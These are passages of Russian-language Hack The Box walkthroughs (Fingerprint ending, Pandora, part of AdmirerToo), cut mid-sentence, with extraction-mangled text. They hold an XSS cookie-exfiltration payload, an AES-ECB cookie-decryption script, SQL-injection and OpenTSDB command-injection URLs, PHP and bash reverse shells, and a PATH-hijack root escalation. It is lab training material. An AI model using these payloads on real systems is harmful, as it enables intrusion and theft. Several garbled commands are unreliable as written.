на локаль ный хост, рас паковы ваем и чита ем файл .improvement

Со дер жимое фай ла improvement

В фай ле упо мина ется кас томное шиф рование, исполь зуемое для кон тро ля
аутен тифика ции. А если тун нелиро вать весь тра фик с локаль ного пор- 
та 8088 на локаль ный порт 8088 уда лен ного хос та, то мож но заметить, что
на нем работа ет уже зна комое нам при ложе ние.

ssh -L 8088:127.0.0.1:8088 -i id_rsa.john john@fingerprint.htb 

Так же прос мотрим и исходные коды из бэкапа. Уяз вимость про изволь ного
чте ния фай лов так и оста лась в фун кции , но теперь читать фай- 
лы может толь ко адми нис тра тор.

logs_view()

Ис ходный код фун кции logs_view

В фун кции  рас крыт спо соб фор мирова ния куки: 
.

profile_update() [
имя_пользователя],[секрет],[true или false]

Ис ходный код фун кции prole_update

Ку ки шиф руют ся с помощью AES ECB с раз мером бло ка 16 байт.

Блок шиф рования

Но так же сох ранилась и уяз вимость XSS, поэто му уже рас смот ренным выше
спо собом, но дру гой наг рузкой мы можем получить куки.

<script>document.location="http://10.10.14.156:4321/?q="+document.
cookie</script>

Ло ги веб-сер вера

Под став ляем куки и попада ем на глав ную стра ницу сай та.

Глав ная стра ница при ложе ния

На сер вере исполь зует ся блоч ное шиф рование, а фун кция 
 дает нам воз можность изме нить имя поль зовате ля через параметр

. То есть мы можем изме нять дли ну шиф руемо го сооб щения. Таким

обра зом на каж дом пос леду ющем шаге мы можем переби рать сле дующий
сим вол, заод но уве личи вая сооб щение. Как толь ко сооб щение без добав- 
ленно го сим вола и сооб щение с добав ленным сим волом сов пали, мы наш ли
нуж ный нам сим вол. Новый куки воз вра щает ся в заголов ке Set-Cookie.

profile_update(
)
new_name

Зап рос и ответ в Burp Repeater

Наб роса ем прос тень кий код, который реали зует все опи сан ное.

 import requests
 import string

   john_cookie = {"user_id":
"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb033855
0635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"
}

  secret = ""
  size = 1
 while True:

           for i in range(15, -1, -1):
                  username = "A" * (16+i)

  
    

              prime_cookie = requests.post('http://127.0.0.1:8088/
profile', data={"new_name": username}, cookies=john_cookie,
allow_redirects=False).cookies.get('user_id')

                 for c in string.printable[:-5]:
                              test_username = "A" * (16+i) + secret + c

  
    

                      new_cookie = requests.post('http://127.0.0.1:
8088/profile', data={"new_name": test_username}, cookies=john_cookie,
allow_redirects=False).cookies.get('user_id')

     
  

                      if new_cookie[32*size : 32*(size+1)] ==
prime_cookie[32*size : 32*(size+1)]:

                                secret += c
                              break
              print(secret)

                 if ",false" in secret:
                      exit()

        size += 1

По луче ние сек рета

Так мы смог ли рас шифро вать куки и получить сек рет. Перед кодиро вани ем
сто ит обра тить вни мание на фун кцию , в которой выпол няет ся
про вер ка.

load_user()

Ис ходный код фун кции load_user

Со обще ние раз деля ется по пос ледова тель нос тям из запятой, сек рета и еще
одной запятой. Пер вый эле мент получив шегося мас сива срав нива ется
с . Тог да нам в качес тве име ни поль зовате ля нуж но передать пос ледова- 

тель ность .

true
имя,секрет,true,секрет

По луче ние новой сес сии

У нас есть новые куки, поп робу ем для тес та про читать файл ./etc/passwd

Со дер жимое фай ла /etc/passwd

Так как при ложе ние работа ет от име ни рута, про чита ем зак рытый ключ поль- 
зовате ля.

Зак рытый ключ поль зовате ля

Под клю чаем ся по SSH и забира ем флаг рута.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

В этом рай тапе я покажу, как получить дос- 
туп к хос ту бла года ря информа ции, най ден- 
ной при ска ниро вании SNMP, затем мы
про экс плу ати руем уяз вимос ти в Pandora
FMS. Для повыше ния при виле гий про ана- 
лизи руем поведе ние поль зователь ско го
бинар ного фай ла и помани пули руем
перемен ными окру жения. Это поз волит нам
зах ватить лег кую по уров ню слож ности
машину Pandora с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.136    pandora.htb 

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы находим три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
3128 — тоже веб-сер вер, но обыч но на этом пор те работа ет прок си-сер- 
вер.

•

SSH мы пока что про пус каем и перехо дим к озна ком лению с веб-сер вером.

Справка: брутфорс учеток
Пос коль ку вна чале у нас нет учет ных дан ных, нет и смыс ла изу чать служ бы,
которые всег да тре буют авто риза ции (нап ример, SSH). Единс твен ное, что мы
можем делать здесь, — переби рать пароли брут форсом, но машины с HTB
поч ти всег да мож но прой ти по-дру гому. В жиз ни таких вари антов может
не быть, к тому же есть шан сы подоб рать пароль или получить его
при помощи соци аль ной инже нерии.

Глав ная стра ница сай та

На пер вый взгляд, сайт нам ничего не дает. Поп робу ем коп нуть глуб же, нап- 
ример с помощью . WhatWeb рас позна ет веб-тех нологии, в том чис- 
ле сис тему управле ния кон тентом (CMS), плат формы для ведения бло гов,
пакеты ста тис тики и ана лити ки, биб лиоте ки JavaScript, веб-сер веры и дру гие
тех нологии. К тому же для этой прог раммы есть более 1700 пла гинов,
которые могут быть исполь зованы в агрессив ном режиме ска ниро вания. Если
запус тить прог рамму с нас трой ками по умол чанию, то будет выпол нен все го
один зап рос.

WhatWeb

whatweb http://pandora.htb 

Ре зуль тат ска ниро вания WhatWeb

Но никакой новой информа ции сно ва не получа ем. В таком слу чае прос- 
каниру ем скры тые дирек тории в кор невом катало ге сай та, к при меру
с помощью .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Ко ман да получа ется сле дующая:

ffuf  256 -u http://pandora.htb/FUZZ -t -w directory_2.3_medium.txt 

Ре зуль тат ска ниро вания катало гов

И сно ва ничего важ ного. К дан ному момен ту в моем чек-лис те остался не зак- 
рыт пункт ска ниро вания пор тов UDP, поэто му я зарядил Nmap, и это дало пло- 
ды.

nmap 1500 sudo --min-rate= -sU pandora.htb 

Ре зуль тат ска ниро вания UDP-пор тов

ÒÎ×ÊÀ ÎÏÎÐÛ

Пос ле ска ниро вания наибо лее веро ятных пор тов UDP мы наш ли служ бу
SNMP на пор те 161. SNMP — прос той про токол управле ния сетью. Он при- 
меня ется для монито рин га устрой ств в сети (нап ример, мар шру тиза торов,
ком мутато ров, прин теров). Тут сле дует сра зу упо мянуть два понятия:

 (management information base) — база дан ных информа ции управле- 

ния, хра нящая дан ные обо всех объ ектах (парамет рах и нас трой ках)
устрой ства;

• MIB

 (object identier) — чис ловой иден тифика тор объ екта в дереве MIB.• OID

При работе с уда лен ной сис темой по SNMP все зап росы выпол няют ся через
OID, отра жающий положе ние объ екта в дереве объ ектов MIB. Но что бы
получить все стро ки, нам сна чала нуж но прой ти сво еоб разную аутен тифика- 
цию, ука зав стро ку — иден тифика тор сооб щес тва. Так как мы ее не зна ем,
нуж но переб рать, к при меру с помощью . Переби рать будем по сло- 
варю из набора .

Hydra

SecLists

hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-
strings.txt pandora.htb snmp 

Пе ребор community-стро ки

Все OID сис темы мож но получить, прос каниро вав устрой ство, нап ример сле- 
дующей коман дой:

   snmpbulkwalk -On -r1 -v2c -c public pandora.htb 1 

Дан ные, получен ные из сис темы

Так мы получа ем какую-то информа цию, свя зан ную с поль зовате лем, а так же
спи сок запущен ных про цес сов. В пос леднем фигури рует скрипт ,

которо му переда ются учет ные дан ные обна ружен ного поль зовате ля. Они
помога ют авто ризо вать ся по SSH.

host_check

Сес сия пер вого поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам нуж но соб рать информа цию,
которая поможет повысить при виле гии. Для поис ка путей к это му я час то при- 
бегаю к скрип там PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем чудо-скрипт на уда лен ный хост с помощью SSH.

scp linpeas.sh daniel@pandora.htb:/tmp/linpeas.sh 

За тем даем пра во на выпол нение и запус каем.

chmod +x /tmp/linpeas.sh 
/tmp/linpeas.sh 

В выводе получим очень мно го информа ции, из которой обра тим вни мание
на при ложе ния с выс тавлен ным битом SUID.

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Сре ди них есть поль зователь ская прог рамма ./usr/bin/pandora_backup

При ложе ния с выс тавлен ным битом SUID

Но выпол нить ее мы не можем, так как она дос тупна толь ко груп пе поль- 
зовате ля .matt

Пра ва на прог рамму

При поис ке информа ции на хос те сто ит прос мотреть и уже зна комые нам
сай ты, так как они могут открыть поль зовате лю допол нитель ные фун кции.

Зап рос на порт 80

Так, при зап росе стра ницы получим редирект в каталог .

Давай про кинем этот порт, то есть сде лаем так, что бы весь тра фик, который
при ходит на опре делен ный порт локаль ной машины и идет с него, рет ран сли- 
ровал ся на тот же порт целево го хос та. Дела ем это с помощью стан дар тно го
SSH.

/pandora_console/

ssh -L 80:127.0.0.1:80 daniel@pandora.htb 

Поп робу ем обра тить ся к сай ту с локаль ной машины. Для это го выпол ним зап- 
рос через бра узер по адре су .http://127.0.0.1/

Глав ная стра ница Pandora FMS

Pandora FMS

Pandora FMS — это ПО для монито рин га компь ютер ных сетей. Оно поз воля ет
отсле живать сос тояние и про изво дитель ность нес коль ких парамет ров ОС,
сер веров, при ложе ний и аппа рат ных сис тем, прок си-сер веров, базы дан ных,
веб-сер веров или мар шру тиза торов.

Вни зу стра ницы мы можем уви деть вер сию ПО. Поэто му поп робу ем поис- 
кать готовые экс пло иты для этой вер сии. Если у тебя под рукой , то
у тебя уже есть база экс пло итов — дос таточ но вос поль зовать ся ути литой

.

Kali Linux

searchsploit

По иск экс пло итов с помощью searchsploit

На ходим четыре экс пло ита для вер сии 7.0, но ни один из них либо не отра- 
ботал, либо не дал резуль тата, как бы я с ними ни химичил. Тог да я поп- 
робовал най ти какие-нибудь отче ты или док лады зап росом «pandora fms
v7.0NG.742 vulns».

По иск уяз вимос тей в Google

CVE-2021-32099

 из выдачи Google при водит нас на сайт, где упо мяну ты иден- 
тифика торы CVE для нуж ной нам вер сии.
Вто рая ссыл ка

Спи сок воз можных уяз вимос тей

Две из них типа pre-auth, то есть нам не нуж ны учет ные дан ные для экс плу ата- 
ции. Зная иден тифика торы, мы можем  поис ковиком . Так,
сле дующий зап рос при ведет к экс плу ата ции SQL-инъ екции, что уста новит
в бра узе ре cookie адми на.

най ти PoC Sploitus

http://127.0.0.1/pandora_console/include/chart_generator.php?session_
id=%27%20union%20SELECT%201,2,%27id_usuario|s: 
5:%22admin%22;%27%20as%20data%20--%20SgGO 

Пос ле обновле ния нам дос тупна адми нис тра тив ная панель Pandora.

Ад минис тра тив ная панель Pandora

RCE

Для получе ния уда лен ного выпол нения кода мы можем вос поль зовать ся фун- 
кци ей уста нов ки рас ширений. Сна чала сге нери руем реверс-шелл на язы ке
PHP с помощью .MSFvenom

4321  raw 
   |   

  

msfvenom -p php/reverse_php LHOST=10.10.14.110 LPORT= -f > r.
php  cat r.php | xclip -selection clipboard && echo '<?php ' tr -d
'\n' > r.php && xclip -selection clipboard -o >> r.php 

За тем откро ем лис тенер с помощью .netcat

 nc rlwrap -cAr -lvnp 4321 

Те перь уста новим рас ширение. Для это го перей дем Admin tools → Extension
manager → Extension uploader.

Заг рузка рас ширения

Вот толь ко фор мат PHP сис тема не при нима ет. Почитав под робнее об этой
фун кции, я узнал, что нуж но заг ружать архив ZIP.

Со обще ние о заг ружен ном архи ве

Те перь перей дем к нашему фай лу в катало ге 

 и получим бэк коннект.

http://127.0.0.1/
pandora_console/extensions/

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Для удоб ной работы мы можем сге нери ровать клю чи SSH (коман да 
) и записать пуб личный ключ в файл 

. Это даст нам воз можность авто ризо вать ся по SSH.

ssh-
keygen /home/matt/.ssh/
authorized_keys

Те перь, ког да мы име ем кон текст поль зовате ля matt, мы можем прис- 
тупить к ана лизу бинар ника с уста нов ленным S-битом. Запус тим при ложе ние,
что бы прос мотреть его вывод.

Вы вод при ложе ния pandora_backup

Вы вод при ложе ния pandora_backup (про дол жение)

В выводе упо мина ется коман да , а в текущей дирек тории соз дает ся архив

сай та. Прос мотрим, как выпол няет ся , для это го запус тим прог рамму
под локаль ным отладчи ком . Это поможет нам уви деть вызовы фун кций

из общих биб лиотек.

tar
tar

ltrace

За пуск прог раммы под ltrace

Та ким обра зом, коман да  переда ется в фун кцию . Уяз- 

вимость появи лась из-за того, что не задан пол ный путь к фай лу прог раммы.
В этом слу чае поиск фай ла будет вес тись в каж дом катало ге, ука зан ном
в перемен ной окру жения . Если мы соз дадим в катало ге  свой файл

 и добавим в начало перемен ной  этот каталог, то при вызове 

наш скрипт запус тится. В качес тве исполня емо го кода откро ем новый bash.
Пос коль ку при ложе ние выпол няет ся от име ни супер поль зовате ля, мы
получим его пра ва.

tar -cvf ... system

PATH /tmp
tar PATH tar

   echo '#!/bin/sh' > tar
   echo '/bin/bash -p' >> tar
 +x chmod tar
/tmpPATH= $PATH

Соз дание скрип та и переза пись перемен ной окру жения

Ког да все будет готово, запус тим при ложе ние и получим новую при виле гиро- 
ван ную обо лоч ку.

Флаг рута

Ма шина зах вачена, можем забирать флаг рута.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists
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ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати-
ровать Adminer, OpenTSDB и OpenCATS.
Для повыше ния при виле гий будем исполь- 
зовать ком бинацию уяз вимос тей и неп- 
равиль ных кон фигура ций ПО: уяз вимость
про изволь ной записи фай лов OpenCATS
для кон фигура ции whois, whois для получе- 
ния и инъ екции коман ды тер минала ОС
в Fail2ban и Fail2ban для ее акти вации. Все
это — в рам ках про хож дения слож ной
машины AdmirerToo с пло щад ки 

.
Hack

The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP-адрес машины в  для удобс тва:/etc/hosts

10.10.11.137    admirertoo.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел все го два откры тых пор та: 22 — служ ба OpenSSH 7.9p1 и 80 —
веб-сер вер Apache 2.4.38.

На чина ем тра дици онно с веба.

Глав ная стра ница сай та

Пер вым делом прос каниру ем сайт на наличие скры тых ресур сов.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем ffuf:

ffuf  256 
 403 
-u http://admirertoo.htb/FUZZ -t -w files_interesting.txt 

-fc

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Ни чего най ти не уда лось. Зато ког да я попытал ся перей ти на точ но не сущес- 
тву ющую стра ницу, я получил ссыл ку на домен .admirer-gallery.htb

Ошиб ка Not Found

До бавим най ден ный домен в файл  и пов торим ска ниро вание

на новом домене. Так най дем новый под домен!

/etc/hosts

10.10.11.137    admirertoo.htb admirer-gallery.htb 
ffuf  256 

  
-u http://admirer-gallery.htb -t -w subdomains-top1million-

110000.txt -H 'Host: FUZZ.admirer-gallery.htb' -fs 14099 

Ре зуль тат ска ниро вания под доменов

Его тоже добав ляем в  и получа ем дос туп к панели авто риза ции

Adminer.

/etc/hosts

10.10.11.137    admirertoo.htb admirer-gallery.htb db.admirer-
gallery.htb 

Стра ница авто риза ции Adminer

Adminer — это лег ковес ный инс тру мент адми нис три рова ния СУБД, что-то
вро де лег кого вари анта phpMyAdmin. Так как авто риза ция про исхо дит
по нажатию на кноп ку, зна чит, учет ные дан ные уже дол жны быть в исходном
коде стра ницы.

Ис ходный код стра ницы

Так мы находим имя поль зовате ля и пароль. Но сама панель Adminer ничего,
кро ме номера вер сии, нам не рас кры вает.

Ра бочая панель Adminer

ÒÎ×ÊÀ ÂÕÎÄÀ

Раз мы зна ем номер вер сии, сто ит поис кать сущес тву ющие экс пло иты.
Делать это я рекомен дую при помощи Google.

По иск экс пло итов для Adminer 4.7.8

Так мы находим инс трук цию с опи сани ем уяз вимос ти ( ). Этот баг поз- 
волит нам прос каниро вать внут ренние ресур сы, а имен но пор ты. Как ука зано
в статье, запус тим .

PDF

скрипт-редирек тор

python2 redirect.py -p 80 http://127.0.0.1 

За тем я решил переб рать воз можные СУБД. Их спи сок есть в 
, а для перебо ра я исполь зовал .

до кумен тации
Adminer Burp

Спи сок под держи ваемых СУБД

Зап рос на сер вер

Вмес то  встав ляем СУБД, а вмес то  — свой локаль ный IP-
адрес. Для некото рых СУБД получим ответ с записью , а в

дру гих слу чаях сов сем ничего.

server localhost
() admirer_ro...

От вет сер вера

Тог да я нашел исходни ки Adminer на GitHub и пос мотрел, 
раз ные модули.

как ука зыва ются

Спи сок модулей

И пер вый же модуль  дела ет зап рос на наш хост.elastic

Зап рос на сер вер

Ло ги редирек тора

А в бра узе ре получа ем код HTML-стра ницы с сер вера. Это зна чит, что мы
добились от сер вера выпол нения про изволь ного зап роса на дру гой ресурс.

От вет сер вера

ÒÎ×ÊÀ ÎÏÎÐÛ

Те перь нам нуж но най ти внут ренние сер висы и получить какую-нибудь
информа цию от них. Искать их ска ниро вани ем через най ден ную уяз- 
вимость — дело дол гое и тру доем кое, поэто му нач нем с поис ка пор тов, под- 
клю чение к которым филь тру ется. Для это го выпол ним SYN-ска ниро вание.

nmap  -p- -sS admirertoo.htb 

Ре зуль тат ска ниро вания пор тов

Мы наш ли порт 4242. Получим ответ от сер виса, исполь зовав опи сан ную
выше ата ку. Для обра щения к инте ресу ющим нас стра ницам будем переза- 
пус кать редирек тор.

 80 python2 redirect.py -p -i 10.10.14.54 http://127.0.0.1:4242/ 

От вет сер виса на пор те 4242

Там раз вернут OpenTSDB. Это рас пре делен ная и мас шта биру емая база дан- 
ных вре мен ных рядов на осно ве HBase, которая собира ет инди като ры кон- 
тро лиру емых объ ектов и сох раня ет их во вре мен ной пос ледова тель нос ти.
Зап рашивая парамет ры опре делен ного инди като ра в течение кон крет ного
пери ода, поль зователь может видеть про исхо дящие изме нения. Так как зап- 
росов при дет ся выпол нять мно го, добавим в нас трой ках  опцию

Match/Replace, которая будет авто мати чес ки заменять в каж дом зап росе
целевой модуль и адрес сер вера.

Burp Proxy

Нас трой ка поис ка и замены

А теперь поп робу ем узнать вер сию OpenTSDB. Пос мотреть ее мож но, обра- 
тив шись по адре су ./api/version/

 80 python2 redirect.py -p -i 10.10.14.54 http://127.0.0.1:4242/api/
version/ 

По луче ние вер сии про дук та

По луча ем вер сию 2.4.0. И сно ва ищем уяз вимос ти в ней.

По иск экс пло итов для OpenTSDB 2.4.0

Эта вер сия уяз вима, и для уяз вимос ти есть . Пра виль ная экс плу ата ция
может дать нам уда лен ное выпол нение кода (RCE). Воз можно, это потому,
что зна чение получен ных парамет ров записы вает ся во вре мен ный файл,
который потом выпол няет ся. Для тес та запус тим  с филь тром про- 
токо ла ICMP и поп робу ем пин гануть свой хост с уда лен ного сер вера.

PoC

tcpdump

sudo tcpdump -i tun0 icmp 
 80 python2 redirect.py -p -i 10.10.14.54 'http://127.0.0.1:4242/

q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.
nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.
54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

От вет сер вера

Но никако го пин га не приш ло, а в отве те получа ем какую-то ошиб ку. Решение
проб лемы уда лось най ти на . Так, в PoC исполь зует ся мет рика

, которой не сущес тву ет. Поп робу ем узнать, какие есть мет- 
рики.

StackOverow
sys.cpu.nice

 80 python2 redirect.py -p -i 10.10.14.54 'http://127.0.0.1:4242/api/
suggest?type=metrics'

По луче ние мет рики

Те перь вста вим это зна чение в экс пло ит и пов торим зап рос.

 80 python2 redirect.py -p -i 10.10.14.54 'http://127.0.0.1:4242/
q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.
web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.
10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

Ло ги tcpdump

В логах tcpdump видим при шед ший пинг. Теперь сге нери руем реверс-шелл
и поп робу ем получить бэк коннект. Для это го я вос поль зуюсь онлай новым
генера тором . Ему нуж но ука зать лишь локаль ный

адрес, порт и шелл, и мы получим две коман ды: для запус ка лис тенера и для
соз дания обратно го под клю чения. Вдо бавок есть нес коль ко воз можнос тей
для кодиро вания шел ла.

Reverse Shell Generator

Ге нери рова ние шел ла Bash c кодиро вани ем Base64

Для запус ка это го шел ла исполь зуем кон вей ер команд.

 <  echo base64 shell> | base64 -d | /bin/bash 

Но наг рузку нуж но еще и закоди ровать как URL. Я поль зуюсь рас ширени ем
 для Burp Pro.HackVector

Ко диро вание коман ды

За пус каем лис тенер и отправ ляем коман ду.

 80 python2 redirect.py -p -i 10.10.14.57 'http://127.0.0.1:4242/
q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.
web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(<COMMAND>)]&
wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

По луче ние бэк коннек та

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd
https://www.adminer.org/en/editor/
https://github.com/vrana/adminer/tree/master/adminer/drivers
https://github.com/OpenTSDB/opentsdb/issues/2051
https://stackoverflow.com/questions/18396365/opentsdb-get-all-metrics-via-http
https://www.revshells.com/
https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100


HTB ADMIRERTOO
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет даже две CMS, то
пер вое наше дей ствие — поп робовать получить какие-нибудь учет ные дан- 
ные поль зовате лей. Высока веро ятность, что эти же логины и пароли подой- 
дут и для локаль ных поль зовате лей в сис теме. Я решил прос то най ти подс- 
тро ку  в фай лах CMS.pass

   ./ grep -iR 'pass'

По иск подс тро ки pass

И в пер вом же фай ле видим целых два пароля, один из которых нам уже был
известен.

Со дер жимое фай ла servers.php

Па роль наш ли, оста лось пос мотреть на сущес тву ющих поль зовате лей. Мож- 
но взгля нуть на домаш ние катало ги.

Спи сок домаш них катало гов

В сис теме все го один домаш ний каталог. С най ден ным паролем уда ется
авто ризо вать ся от име ни его вла дель ца.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ïîèñê èíôîðìàöèè

Что бы быс тро най ти воз можнос ти для повыше ния при виле гий, я исполь зую
скрип ты PEASS.

Справка: скрипты PEASS для Linux (загрузка через Python и

Wget)
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате. Как заг рузить их на уда лен ный хост, я под робно опи сывал
в пре дыду щих про хож дени ях.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем вер сию для Linux на хост и запус каем скрипт.
Сре ди най ден ной им важ ной информа ции в пер вую оче редь замеча ем

пор ты, откры тые толь ко для локаль ного хос та.

Спи сок откры тых пор тов

На пор те 8080 работа ет сис тема управле ния кон тентом OpenCATS.

Нас трой ки VirtualHost

На хос те акти вен Fail2ban.

Спи сок сокетов

Так же находим учет ные дан ные для под клю чения к базе дан ных OpenCATS.

Учет ные дан ные, най ден ные в фай лах PHP

Ну и пос ледний момент — мы наш ли фай лы и катало ги, дос тупные для записи
любому поль зовате лю.

Спи сок фай лов, дос тупных для записи

OpenCATS CMS

Пе рей дем к OpenCATS. Это опен сор сный инс тру мент, который поз воля ет
рек рутерам работать с дан ными о пер сонале ком пании. Обра тим ся к нему
через бра узер, и нас встре тит фор ма авто риза ции. На той же стра нице ука- 
зан номер про дук та.

Па нель авто риза ции OpenCATS

Что делать, если мы зна ем вер сию какой-то соф тины? Пра виль но, искать
информа цию об уяз вимос тях в ней. Пер вая же ссыл ка в Google — на опи- 
сание бага с номером CVE.

По иск экс пло итов в Google

Проб лема в том, что экс плу ата ция этой уяз вимос ти воз можна, толь ко если мы
уже авто ризо ваны на сай те. Но мы можем получить пароль адми нис тра тора
CMS пря мо из базы дан ных, под клю чить ся к которой помогут учет ные дан ные,
получен ные на эта пе поис ка информа ции.

mariadb -h 127.0.0.1 -u cats -padm1r3r0fc4ts
use cats_dev;

Под клю чение к базе дан ных OpenCATS

С помощью коман ды  най дем таб лицу, содер жащую учет ные
дан ные поль зовате лей.

show tables;

Таб лицы в базе дан ных OpenCATS

Нас инте ресу ет таб лица , а имен но ее стол бцы  и .user user_name password

   select user_name,password from user;

По луче ние логинов и хешей паролей

Ско рее все го, это хеши MD5, но взло мать их не выш ло. Тог да появи лась идея
заменить хеш в таб лице сво им. Это поз волит уста новить адми нис тра тору
извес тный нам пароль. Но перед этим пос мотрим на при виле гии текуще го
поль зовате ля базы дан ных.

   show grants for 'cats'@'localhost';

При виле гии текуще го поль зовате ля базы дан ных

Мы име ем пол ные при виле гии на базу, поэто му можем уста новить свой
пароль (я пос тавил ).ralf_password

       
  

update user set password = '80611e766bf21f75011a73b6dbf91cf9' where
user_name = 'admin';

Из менение записи в базе дан ных

Из менения вне сены, и мы лег ко авто ризу емся в OpenCATS от име ни адми на.

Глав ная стра ница OpenCATS

Те перь перей дем к замечен ной ранее уяз вимос ти. В рам ках обыч ного поль- 
зователь ско го рабоче го про цес са при ложе ние отправ ляет сери али зован ные
